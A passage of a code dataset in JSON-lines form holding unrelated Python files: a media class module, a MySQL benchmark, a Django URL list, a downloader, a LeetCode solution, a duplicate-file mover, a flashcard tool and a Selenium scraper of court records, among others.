\"15\", \"18\", \"R18\", \"Not Rated\"]\r\n VALID_RATINGS = [\"G\", \"PG\", \"PG-13\", \"R\", \"Not Rated\"]\r\n\r\n def __init__(self, title,\r\n synopsis,\r\n poster_image,\r\n trailer_youtube):\r\n self.title = title\r\n self.synopsis = synopsis\r\n self.poster_image_url = poster_image\r\n self.trailer_youtube_url = trailer_youtube\r\n\r\n def show_trailer(self):\r\n webbrowser.open(self.trailer_youtube_url)\r\n \r\n\r\n\r\nclass Movie(Video):\r\n \"\"\" This child class provides a way to store movie related information\"\"\"\r\n\r\n def __init__(self, movie_title,\r\n movie_synopsis,\r\n poster_image,\r\n trailer_youtube,\r\n movie_director, UK_rating):\r\n \r\n Video.__init__(self, movie_title,\r\n movie_synopsis,\r\n poster_image,\r\n trailer_youtube)\r\n \r\n self.director = movie_director\r\n\r\n if UK_rating in Video.VALID_UK_RATINGS:\r\n self.UK_rating = UK_rating\r\n else:\r\n print(\"The listing for \" +movie_title + \" contains an invalid UK rating\")\r\n\r\nclass TvShow(Video):\r\n \"\"\" This child class provides a way to store Tv Show related information\"\"\"\r\n\r\n def __init__(self, show_title,\r\n show_synopsis,\r\n poster_image,\r\n trailer_youtube,\r\n network):\r\n Video.__init__(self, movie_title,\r\n show_synopsis,\r\n poster_image,\r\n trailer_youtube)\r\n \r\n self.network = network\r\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"580794333","text":"#!/usr/bin/env python\n\nimport threading\nimport Queue\nimport random\nimport string\nimport time\nimport argparse\nimport sys\nimport MySQLdb\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--username', help='Sql username.', action='store', dest='username', required=True)\nparser.add_argument('-p', '--password', help='Sql password.', action='store', dest='password', required=True)\nparser.add_argument('-H', '--hostname', help='Sql hostname.', action='store', dest='hostname', required=True)\nparser.add_argument('-D', '--database', help='Sql database.', action='store', dest='database', required=True)\nparser.add_argument('-t', '--maxthread', help='Number of concurrent threads.', action='store', dest='max_thread', required=False, type=str)\nparser.add_argument('-N', '--numquery', help='Numbers of queries to execute.', action='store', dest='numbers', type=int)\nparser.add_argument('-I', '--insert', help='Enable insert query test', action='store_true', dest='insert')\nparser.add_argument('-S', '--select', help='Enable select query test', action='store_true', dest='select')\nparser.add_argument('-P', '--prepare', help='Prepare the database to run tests.', action='store_true', dest='prepare')\np = parser.parse_args()\n\nq_q = Queue.Queue()\nt_list = []\nquery_lock = threading.Lock()\nQUERIES = p.numbers\nMAX_THREAD = 2 if p.max_thread is None else int(p.max_thread)\n\n\n# except to use it later\ndef create_worker():\n t = Worker()\n t_list.append(t)\n t.setDaemon(True)\n t.start()\n return True\n\n\ndef insert_query(query=None, column_size=250, min_int=1000, max_int=10000000, data1=None, data2=None, num1=None, num2=None):\n # if query param is None I will use a premade query\n if query is None:\n insert = 'INSERT INTO table1 (data1, data2, numeric1, numeric2) VALUES (\\'%s\\', \\'%s\\', \\'%s\\', \\'%s\\');' % (data1, data2, num1, num2)\n else:\n insert = query\n return insert\n\n\n# i will use it later\ndef select_query(query=None):\n if query is None:\n select = 'SELECT * FROM table1 where id=\\'%s\\'' % id_list[random.randint(0, 49999)]\n else:\n select = query\n return select\n\n\nclass Worker(threading.Thread):\n def __init__(self):\n super(Worker, self).__init__()\n self.stop = False\n self.db = MySQLdb.connect(user=p.username, passwd=p.password, host=p.hostname, db=p.database)\n self.cur = self.db.cursor()\n\n def run(self):\n while self.stop is False:\n if not q_q.empty():\n try:\n query = q_q.get(True)\n self.cur.execute(query)\n # print(self.cur.fetchall())\n q_q.task_done()\n except:\n pass\n\n def __del__(self):\n self.db.commit()\n self.db.close()\n\nif p.prepare is True:\n sql = MySQLdb.connect(user=p.username, passwd=p.password, host=p.hostname)\n cur = sql.cursor()\n cur.execute('CREATE DATABASE %s;' % (p.database))\n query = 'CREATE TABLE %s.table1 (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, data1 VARCHAR(256), data2 VARCHAR(256), numeric1 int, numeric2 int);' % (p.database)\n cur.execute(query)\n print('Prepare complete.')\n sys.exit(0)\n\nif p.insert is True:\n rnd_data1 = []\n rnd_data2 = []\n rnd_numeric1 = []\n rnd_numeric2 = []\n print(\"Generating random...\")\n for rnd in xrange(p.numbers+1):\n rnd_data1.append(''.join(random.choice(string.ascii_letters) for x in range(32)))\n rnd_data2.append(''.join(random.choice(string.ascii_letters) for x in range(32)))\n rnd_numeric1.append(random.randint(1000, 10000000))\n rnd_numeric2.append(random.randint(1000, 10000000))\n\nfor tn in xrange(MAX_THREAD):\n worker_t = Worker()\n t_list.append(worker_t)\n worker_t.setDaemon(True)\n worker_t.start()\n\nconn = MySQLdb.connect(user=p.username, passwd=p.password, host=p.hostname)\ncur = conn.cursor()\ncur.execute('SELECT id FROM %s.table1' % (p.database))\n\nid_list = []\nif p.select is True:\n for tup in cur.fetchall():\n id_list.append(tup[0])\n\nprint('Starting processing: %s row with %s parallel threads...' % (p.numbers, MAX_THREAD))\nprint('Loading queries into queue...')\n\nts = time.time()\nfor i in xrange(QUERIES):\n if p.insert is True:\n query = insert_query(data1=rnd_data1[i], data2=rnd_data2[i], num1=rnd_numeric1[i], num2=rnd_numeric2[i])\n else:\n query = select_query()\n q_q.put(query)\nprint('Load Done.')\nprint('Waiting all queries to finish...')\n\nwhile q_q.qsize() > 0:\n # sys.stdout.write('\\rRemaning: %s queries to process.' % q_q.qsize())\n # sys.stdout.flush()\n time.sleep(0.1)\nte = time.time()\n\nfor t in t_list:\n t.stop = True\n# print('\\nExecuted: %s, Execution time: %s sec.' % (executed, round((te-ts), 2)))\n# print('Failed queries: %s' % (QUERIES-executed))\n# print('Processed: %s queries/sec' % (QUERIES/round((te-ts), 2)))\nprint('Thread: %s, tr/s: %s' % (MAX_THREAD, QUERIES/round((te-ts), 2)))\n","sub_path":"benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"189466480","text":"reload(awg_swf)\nfrom instrument_drivers.meta_instrument.qubit_objects import qubit_object as qb\nreload(qb)\n\nfrom instrument_drivers.meta_instrument.qubit_objects import CBox_driven_transmon as qcb\nreload(qcb)\n\nfrom instrument_drivers.meta_instrument.qubit_objects import Tektronix_driven_transmon as tqb\nreload(tqb)\nfrom instrument_drivers.meta_instrument.qubit_objects import duplexer_tek_transmon as dqb\nreload(dqb)\n\nVIP_mon_2_dux = dt.Duplexer_tek_transmon('VIP_mon_2_dux', LO=LO,\n cw_source=Qubit_LO,\n td_source=Qubit_LO,\n IVVI=IVVI, AWG=AWG, CBox=CBox,\n heterodyne_instr=HS, MC=MC, Mux=Dux,\n rf_RO_source=RF, server_name=None)\n\nstation.VIP_mon_2_dux = VIP_mon_2_dux\ngen.load_settings_onto_instrument(VIP_mon_2_dux)","sub_path":"pycqed/scripts/Experiments/Restless/reload_qubit_objects.py","file_name":"reload_qubit_objects.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"288981173","text":"from django.conf.urls import url\n\nfrom amplio import views\n\napp_name = 'amplio'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^about/$', views.about, name='about'),\n url(r'^browse/$', views.browse, name='browse'),\n url(r'^compose/$', views.compose, name='compose'),\n url(r'^contact/$', views.contact, name='contact'),\n url(r'^delete-account/$', views.delete_account, name='delete_account'),\n url(r'^detail/(?P[0-9]+)/$', views.detail, name='detail'),\n url(r'^profile/$', views.profile, name='profile'),\n url(r'^remove-image/$', views.remove_image, name='remove_image'),\n url(r'^reply/$', views.reply, name='reply'),\n url(r'^search/$', views.search, name='search'),\n url(r'^sign-in/$', views.sign_in, name='sign_in'),\n url(r'^sign-up/$', views.sign_up, name='sign_up'),\n url(r'^sign-out/$', views.sign_out, name='sign_out'),\n url(r'^subscribe/$', views.subscribe, name='subscribe'),\n url(r'^terms/$', views.terms, name='terms'),\n url(r'^vote/$', views.vote, name='vote'),\n]","sub_path":"amplio/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"384564673","text":"import numpy as np\n\nfrom chainer0 import Function, Variable\nfrom chainer0.functions.basic_math import Add, Mul\n\nx = Variable(np.array([2.0]))\ny = x ** 3 + x + 1.0\n\ny.backward(enable_double_backprop=True)\ndx = x.grad_var\n\nprint('y', y.data)\nprint('dx', x.grad)\n\nx.cleargrad()\ndx.backward()\nprint('ddx', x.grad)\n\ndx = x.grad_var\nx.cleargrad()\ndx.backward()\nprint('dddx', x.grad)\n\n#x.cleargrad()","sub_path":"examples/sample2.py","file_name":"sample2.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"506176621","text":"import requests\nfrom typing import Tuple, List, Dict\nimport time\n\nRETRY_SLEEP_TIME = 0.3\nMAX_RETRY = 10\n\nclass Action:\n \"\"\"\n A function to execute, followed by its args\n \"\"\"\n\n def __init__(self, func, *args):\n self.function = func\n self.args = [*args]\n\n def __call__(self): self.function(*self.args)\n\n\ndef get_size(url: str, session: requests.Session = None) -> Tuple[int, requests.Request]:\n requester = session if session is not None else requests\n r = requester.head(url, headers={'Accept-Encoding': 'identity'})\n return (int(r.headers.get('content-length', 0)), r)\n\n\ndef sm_split(sizeInBytes: int, numsplits: int, offset: int = 0) -> List[str]:\n if numsplits <= 1:\n return [f\"0-{sizeInBytes}\"]\n lst = []\n i = 0\n lst.append('%s-%s' % (i + offset, offset + int(round(1 + i *\n sizeInBytes/(numsplits*1.0) + sizeInBytes/(numsplits*1.0)-1, 0))))\n for i in range(1, numsplits):\n lst.append('%s-%s' % (offset + int(round(1 + i * sizeInBytes/(numsplits*1.0), 1)), offset +\n int(round(1 + i * sizeInBytes/(numsplits*1.0) + sizeInBytes/(numsplits*1.0)-1, 0))))\n return lst\n\n\ndef extract_int(string: str) -> str:\n return ''.join(i for i in string if i in '0123456789')\n\n\n\ndef prepare_name(url:str) -> str :\n splited = url.split('/')\n resized = ''\n try:\n resized = splited[-1][:20] + '.' + splited[-1].split('.')[1]\n except:\n resized = splited[-1][:30]\n return resized\n\n\ndef get_and_retry(url, split='', d_obj=None, session: requests.Session = None):\n headers = {\n 'Range': f'bytes={split}'\n }\n done = False\n errors = 0\n requester = session if session is not None else requests\n while not done:\n response = requester.get(url, headers=headers, stream=True)\n if response.status_code < 300:\n done = True\n return response\n else:\n errors += 1\n print(f\"error retrying | error code {response.status_code}\")\n # should be parameters\n time.sleep(RETRY_SLEEP_TIME)\n if errors == MAX_RETRY:\n print('Download canceled')\n d_obj.has_error = True\n d_obj.stop()\n raise Exception(\"Error max retry\")\n\n\ndef get_chunk(url: str, split, d_obj, session: requests.Session = None):\n l = split.split('-')\n response = get_and_retry(url, split, d_obj, session)\n at = int(l[0])\n for data in response.iter_content(chunk_size=d_obj.chunk_size):\n if not d_obj.is_stopped():\n at = d_obj.write_at(at, data)\n if d_obj.is_paused():\n d_obj.event.wait(d_obj.pause_time)\n else:\n return False\n return True\n","sub_path":"Fancy_downloader/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"267010613","text":"#\n# @lc app=leetcode.cn id=54 lang=python\n#\n# [54] 螺旋矩阵\n#\n# https://leetcode-cn.com/problems/spiral-matrix/description/\n#\n# algorithms\n# Medium (37.21%)\n# Likes: 288\n# Dislikes: 0\n# Total Accepted: 38K\n# Total Submissions: 99.2K\n# Testcase Example: '[[1,2,3],[4,5,6],[7,8,9]]'\n#\n# 给定一个包含 m x n 个元素的矩阵(m 行, n 列),请按照顺时针螺旋顺序,返回矩阵中的所有元素。\n# \n# 示例 1:\n# \n# 输入:\n# [\n# ⁠[ 1, 2, 3 ],\n# ⁠[ 4, 5, 6 ],\n# ⁠[ 7, 8, 9 ]\n# ]\n# 输出: [1,2,3,6,9,8,7,4,5]\n# \n# \n# 示例 2:\n# \n# 输入:\n# [\n# ⁠ [1, 2, 3, 4],\n# ⁠ [5, 6, 7, 8],\n# ⁠ [9,10,11,12]\n# ]\n# 输出: [1,2,3,4,8,12,11,10,9,5,6,7]\n# \n# \n#\n\n# @lc code=start\nclass Solution(object):\n def spiralOrder(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[int]\n \"\"\"\n if len(matrix) == 0:\n return []\n elif len(matrix) == 1:\n return matrix[0]\n if len(matrix[0]) == 1:\n return [matrix[i][0] for i in range(len(matrix))]\n self.ans = []\n dimen = len(matrix)\n min_rowcolumn = min(len(matrix),len(matrix[0]))\n rotate_time = min_rowcolumn//2\n # 一圈一圈转圈,转rotate_time次\n for i in range(rotate_time):\n self.rotate_round(matrix,i)\n # 如果是奇数,那么还会剩下最后中间那一行/列\n if min_rowcolumn%2 == 1:\n if len(matrix) < len(matrix[0]):\n # 最后一行\n self.ans+=matrix[rotate_time][rotate_time:(len(matrix[0])-rotate_time)]\n else:\n self.ans+=[matrix[i][rotate_time] for i in range(rotate_time,len(matrix)-rotate_time)]\n return self.ans\n\n def rotate_round(self,matrix,base):\n # print(self.ans)\n length1 = len(matrix)\n length2 = len(matrix[0])\n dimen1 = length1-base*2\n dimen2 = length2-base*2\n # 第一行\n self.ans += matrix[base][base:length2-base-1]\n # 最右侧那一列\n self.ans += [matrix[base+i][-1-base] for i in range(dimen1-1)]\n # 最下面哪一行\n self.ans += matrix[-base-1][base+1:length2-base][::-1]\n # 最左边那一列\n self.ans += [matrix[base+i][base] for i in range(1,dimen1)][::-1]\n \n \n# @lc code=end\n# matrix = [\n# [ 1, 2, 3,0 ],\n# [ 4, 5, 6,1 ],\n# [ 7, 8, 9,2 ],\n# [ 7, 8, 9,2 ]\n# ]\n# matrix = [\n# [ 1, 2, 3 ],\n# [ 4, 5, 6 ],\n# [ 7, 8, 9 ]\n# ]\n# matrix = [[1,2,3,4],[5,6,7,8],[9,10,11,12]]\nmatrix = [[2,3,4],[5,6,7],[8,9,10],[11,12,13]]\n# matrix = [[1,2,3],[4,5,6],[7,8,9]]\nsolu = Solution()\nprint(solu.spiralOrder(matrix))\n","sub_path":"54.螺旋矩阵.py","file_name":"54.螺旋矩阵.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"157395980","text":"#!/usr/bin/env python3\n\nimport hashlib\nimport os\nimport sys\nimport shutil\nfrom functools import reduce\n\n\ndef file_stat(file):\n with open(file, 'rb') as f:\n hasher = hashlib.md5()\n buf = f.read()\n hasher.update(buf)\n return hasher.hexdigest()\n\n\ndef main(path):\n ignore_prefix = ('.', '__')\n\n def check_hidden(p):\n dirs = p.split(os.path.sep)\n result = any(d.startswith(ignore_prefix) for d in dirs)\n return result\n\n dir_files = ((root[len(path) + 1:], files) for root, _, files in os.walk(path))\n file_tuple = ((root, f, file_stat(os.path.join(root, f))) for root, files in dir_files if not check_hidden(root) for\n f in files if not f.startswith('.'))\n\n file_count, dup_count = 0, 0\n\n def combine(acc, cur):\n nonlocal file_count\n file_count += 1\n root, f, h = cur\n if h in acc:\n acc[h].append((root, f))\n else:\n acc[h] = [(root, f)]\n return acc\n\n file_dict = reduce(combine, file_tuple, {})\n dup_list = [v for k, v in file_dict.items() if len(v) > 1]\n dup_count = len(dup_list)\n for v in dup_list:\n print(v)\n\n print('{} files scanned, {} duplicates'.format(file_count, dup_count))\n if not dup_count:\n return\n\n ans = input('Move Duplicates to __dup?')\n if not ans == 'y':\n print('quit')\n return\n\n print('keep oldest file, press 1')\n print('keep shortest file, press 2')\n option = input()\n\n if int(option) not in (1, 2):\n print('bad pick')\n return\n\n dup_temp = '__dup_folder'\n if not os.path.isdir(dup_temp):\n os.mkdir(dup_temp)\n move_longest(dup_list, dup_temp, option)\n return\n\n\ndef move_longest(paths, folder, option=1):\n # for i in paths:\n # sorted(i, key=lambda x: len(x[1]))[1:]\n\n def sort_fn(x):\n return os.path.getmtime(os.path.join(x[0], x[1]))\n\n fn = sort_fn if option == 1 else lambda x: len(x[1])\n\n to_move = (sorted(i, key=fn)[1:] for i in paths)\n # print(list(aaa))\n for items in to_move:\n for d, f in items:\n print('{} => {}'.format(os.path.join(d, f), folder))\n shutil.move(os.path.join(d, f), os.path.join(folder, f))\n\n\nif __name__ == '__main__':\n path = os.getcwd()\n if len(sys.argv) > 1:\n path = sys.argv[1]\n main(path)\n","sub_path":"bin/finddup.py","file_name":"finddup.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"613459764","text":"import sys\nimport json\n\ndef main():\n\n\tline = sys.argv[1]\n\tn = 2\n\tlineArray = [line[i:i+n] for i in range(0, len(line), n)]\n\t\n\tprint(lineArray)\n\n\tprint(\"events\")\n\tfor i in range(0, 10, 2): \n\t\t# event {brightness,time}\n\t\tprint(\"brightness: \" + str(int(lineArray[i],16)) + \" time: \" + str(int(lineArray[i+1],16))) \n\n\n\nif __name__ == '__main__':\n main()\t","sub_path":"dataParser.py","file_name":"dataParser.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"170586289","text":"f = open(\"anton_hansen_tammsaare_tode_ja_oigus_i.txt\", encoding='UTF-8')\n \ntõde = 0 # loendaja\nõigus = 0 # loendaja\nõigus_madal = 0 # loendaja\n \nfor rida in f: # ridade kaupa\n sõnad = rida.split() # rea sõnad järjendisse\n for s in sõnad: # sõnade kaupa\n if s == \"tõde\":\n tõde += 1\n if s == \"õigus\":\n õigus += 1\n for s in sõnad:\n if 'õigus' in s.lower():\n õigus_madal += 1\n \nprint(\"Failis sõna 'tõde' on\", tõde, \"korda.\")\nprint(\"Failis sõna 'õigus' on\", õigus, \"korda.\")\nprint(\"Failis sõna 'õigus_madal' on\", õigus_madal, \"korda.\")\n \nf.close()","sub_path":"tode_ja_oigus.py","file_name":"tode_ja_oigus.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"173981799","text":"import pymysql.cursors\n\n\nclass BraveSql(object):\n def __init__(self):\n self.conn = pymysql.connect(\n host='35.229.155.246',\n user='root',\n password='rojaroja',\n db='wp_data',\n charset='utf8',\n cursorclass=pymysql.cursors.DictCursor\n )\n\n def select(self, sql_text=None):\n with self.conn.cursor() as cursor:\n cursor.execute(sql_text)\n result = cursor.fetchall()\n\n return result\n\n def select_one(self, sql_text=None):\n with self.conn.cursor() as cursor:\n cursor.execute(sql_text)\n result = cursor.fetchone()\n\n return result\n\n def insert(self, sql_text=None):\n with self.conn.cursor() as cursor:\n cursor.execute(sql_text)\n self.conn.commit()\n\n def close(self):\n self.conn.close()\n","sub_path":"question/data2sentence/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"223682442","text":"import sys\nfrom random import shuffle\n\nhelpstr = \"\"\"\nUsage: sfc [options] [directory of deck(s)] \n\nsfc or simple flash card is a minimum compliant command line flashcard tool that reads deck files\nand acts like a helpful friend helping you study by holding your flashcards and shuffling them for you\n\nOptions:\n -h, --help : Print Help\n -s : Don't Shuffle\n\nDecks:\n save decks in text files with questions and answers on one line seperated by '::'\n example: \n question 1 :: answer 1\n question 2 :: answer 2\n\"\"\"\ndef get_decks(args):\n decks = []\n for arg in sys.argv:\n try:\n with open(arg, 'r') as deckfile:\n decks.append(deckfile.readlines())\n except IOError:\n print(\"File does not appear to exist\")\n \n new = []\n for deck in decks:\n for card in deck:\n new.append(card)\n\n return new\n\ndef study(deck):\n print('\\n\\t--hit enter to flip cards--\\n')\n \n for qa in deck:\n q, a = qa.split('::')\n input(q)\n print(a)\n \ndef main():\n # Options\n Shuffle = True\n\n if len(sys.argv) == 1:\n print(helpstr)\n return\n elif len(sys.argv) >= 2:\n if '-h' in sys.argv or '--help' in sys.argv:\n print(helpstr)\n return\n if '-s' in sys.argv:\n Shuffle = False\n sys.argv.pop(sys.argv.index('-s'))\n else:\n print('something went wrong')\n\n sys.argv.pop(0)\n\n try:\n new = get_decks(sys.argv)\n except:\n print('That deck doesn\\'t seem to exist')\n\n if Shuffle == True:\n shuffle(new)\n study(new)\n else:\n study(new)\n\nif __name__ == '__main__':\n main()\n","sub_path":"fc.py","file_name":"fc.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"259813074","text":"# write a programme to read specific columns of a given csv file and print the content of the column\r\n\r\nimport csv\r\n\r\nheader = [\"place\", \"name\", \"age\"]\r\nwith open(\"city.csv\", \"w\") as file:\r\n write = csv.DictWriter(file, fieldnames=header)\r\n write.writeheader()\r\n write.writerow({\"place\": \"vatakara\", \"name\": \"chithra\", \"age\": 21})\r\n write.writerow({\"place\": \"malaparamb\", \"name\": \"Arya\", \"age\": 21})\r\n write.writerow({\"place\": \"iringal\", \"name\": \"swathi\", \"age\": 23})\r\n write.writerow({\"place\": \"Palakkaadu\", \"name\": \"Alen\", \"age\": 13})\r\nwith open(\"city.csv\", \"r\") as file:\r\n read = csv.DictReader(file);\r\n n = input(\"Enter the column name you want(place,name,age):\")\r\n for i in read:\r\n print(i[n])","sub_path":"co5/co5-4.py","file_name":"co5-4.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"650241011","text":"# Note: Unused, Unifinished, Unfunctional.\n\nimport endpoints\nfrom protorpc import message_types\nfrom protorpc import messages\nfrom protorpc import remote\n\n\nclass Notice(messages.Message):\n msg = messages.StringField(1)\n\n\n@endpoints.api(name='tau', version='v1')\nclass TauApi(remote.Service):\n @endpoints.method(\n message_types.VoidMessage,\n Notice,\n path='test',\n http_method='GET',\n name='test')\n def echo_api_key(self, request):\n return Notice(msg=\"Hello World!\")\n\n\napi = endpoints.api_server([TauApi])\n","sub_path":"endpoint.py","file_name":"endpoint.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"286984913","text":"import sys\n\ndef solution(string: str):\n stack = []\n\n for s in string:\n if s == \")\":\n if len(stack) != 0 and stack[-1] == \"(\":\n stack.pop()\n else:\n stack.append(s)\n else:\n stack.append(s)\n \n return \"YES\" if len(stack) == 0 else \"NO\"\n\ndef solution2(string: str):\n\n while string != string.replace(\"()\", \"\"):\n string = string.replace(\"()\", \"\")\n \n return \"YES\" if string == \"\" else \"NO\"\n \n\nN = int(sys.stdin.readline())\nfor _ in range(N):\n print(solution2(sys.stdin.readline().rstrip()))\n","sub_path":"python/boj/9012 괄호.py","file_name":"9012 괄호.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"89738845","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\nfrom selenium.webdriver.support.ui import Select\nfrom copy import copy, deepcopy\n\nfrom datetime import datetime\n\nimport time\nimport openpyxl\nimport openpyxl.worksheet.cell_range\nfrom openpyxl.styles import Alignment\n\nimport os\nimport smtplib\nfrom email.message import EmailMessage\n\n\n\ntimeout=10\ntimeout2=20\n\n#-- Excel BD Procesos--#\ncol_radicado_ini=2\ncol_radicado_completo=3\ncol_fecha_radicacion=4\ncol_tipo_general_proceso=5\ncol_tipo_especifico_proceso=6\ncol_cuantia=7\ncol_instancia=8\ncol_responsable=9\ncol_apoderado=10\ncol_ciudad=11\ncol_entidad=12\ncol_jurisdiccion=13\ncol_tipo_sujeto_cliente=14\ncol_tipo_persona_demandante=15\ncol_razon_social_demandante=16\ncol_nit_demandate=17\ncol_tipo_persona_demandado=18\ncol_razon_social_demandado=19\ncol_nit_demandado=20\ncol_tipo_persona_tercero=21\ncol_razon_social_tercero=22\ncol_nit_tercero=23\ncol_nit_cliente=24\ncol_nombre_cliente=25\n#-- Excel BD Procesos--#\n\n#-- Excel BD Actuaciones--#\ncol_id_actuacion=1\ncol_numero_proceso=2\ncol_radicado_ini_act=3\ncol_fecha_actuacion=4\ncol_actuacion=5\ncol_anotacion=6\ncol_fecha_ini_termino=7\ncol_fecha_fin_termino=8\ncol_fecha_registro=9\ncol_estado=10\ncol_grupo=11\ncol_principal=12\ncol_actuacion_propia=13\nestado_choices=['Abierto','Cerrado']\n#-- Excel BD Actuaciones--#\n\n\ndef get_the_web():\n\n # Specifying incognito mode as you launch your browser[OPTIONAL]\n option = webdriver.ChromeOptions()\n option.add_argument(\"--incognito\")\n # Create new Instance of Chrome in incognito mode\n browser = webdriver.Chrome('.\\drivers\\chromedriver', options=option)\n\n \n \n # Go to desired website\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n # Wait 20 seconds for page to load\n\n try:\n # Wait until the final element [Avatar link] is loaded.\n # Assumption: If Avatar link is loaded, the whole page would be relatively loaded because it is among\n # the last things to be loaded.\n WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.CLASS_NAME, \"pie\")))\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n browser.quit()\n \n \n return browser\n\n\n#------------Get all the elements on the web and send the values on the excel file (database)-------------#\n\ndef asignar_nro_proceso ():\n global timeout\n\n global col_radicado_ini\n global col_radicado_completo\n global col_fecha_radicacion\n global col_tipo_general_proceso\n global col_tipo_especifico_proceso\n global col_cuantia\n global col_instancia\n global col_responsable\n global col_apoderado\n global col_ciudad\n global col_entidad\n global col_jurisdiccion\n global col_tipo_sujeto_cliente\n global col_tipo_persona_demandante\n global col_razon_social_demandante\n global col_nit_demandate\n global col_tipo_persona_demandado\n global col_razon_social_demandado\n global col_nit_demandado\n global col_tipo_persona_tercero\n global col_razon_social_tercero\n global col_nit_tercero\n \n browser=get_the_web()\n from get_lists import make_others_list\n other_lists= make_others_list()\n \n #Open Excel workbook\n wb_database=openpyxl.load_workbook('Database-Process.xlsx')\n db_sheet=wb_database['Hoja1']\n \n\n \n registered_process=len(db_sheet['A'])\n Nproce=1\n \n for i in range(registered_process-1):\n Nproce +=1\n \n if(db_sheet.cell(row=Nproce,column=col_radicado_completo).value == None):\n \n try: \n WebDriverWait(browser, timeout).until(EC.element_to_be_clickable((By.ID, \"ddlCiudad\"))) \n except TimeoutException:\n print(\"Problema web al seleccionar Ciudad\")\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n\n dropdown_ciudad = Select(browser.find_element_by_id(\"ddlCiudad\"))\n dropdown_ciudad.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_ciudad).value)\n \n try:\n WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, \"/html/body/form/div[2]/table/tbody/tr[2]/td/table/tbody/tr/td/div[2]/div/table/tbody/tr[3]/td[2]/select/option[2]\"))) \n except TimeoutException:\n print(\"Problema web al seleccionar la entidad\")\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n \n time.sleep(3) #NUNCA BORRAR ESTE HP SLEEP\n \n dropdown1= Select(browser.find_element_by_id('ddlEntidadEspecialidad'))\n dropdown1.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_entidad).value)\n \n try:\n WebDriverWait(browser, timeout).until(EC.element_to_be_clickable((By.ID, \"rblConsulta\"))) \n except TimeoutException:\n print(\"Problema web al cargar tabla para ingresar parametros de consulta\")\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n \n \n inputElement3 = Select(browser.find_element_by_id(\"rblConsulta\"))\n inputElement3.select_by_visible_text(\"Consulta por Nombre o Razón social\")\n \n try:\n WebDriverWait(browser, timeout).until(EC.element_to_be_clickable((By.ID, \"ddlTipoSujeto\"))) \n except TimeoutException:\n print(\"Problema web al cargar Tipo de Sujeto\")\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n \n \n inputElement4 = Select(browser.find_element_by_id(\"ddlTipoSujeto\"))\n inputElement5 = Select(browser.find_element_by_id(\"ddlTipoPersona\"))\n inputElement6 = browser.find_element_by_id(\"txtNatural\")\n \n if inputElement6.text != None:\n inputElement6.clear()\n \n tipo_sujeto_cliente=db_sheet.cell(row=Nproce,column=col_tipo_sujeto_cliente).value\n \n if tipo_sujeto_cliente==other_lists[0][1]:\n \n inputElement4.select_by_visible_text(other_lists[0][1])\n inputElement5.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_tipo_persona_demandante).value)\n 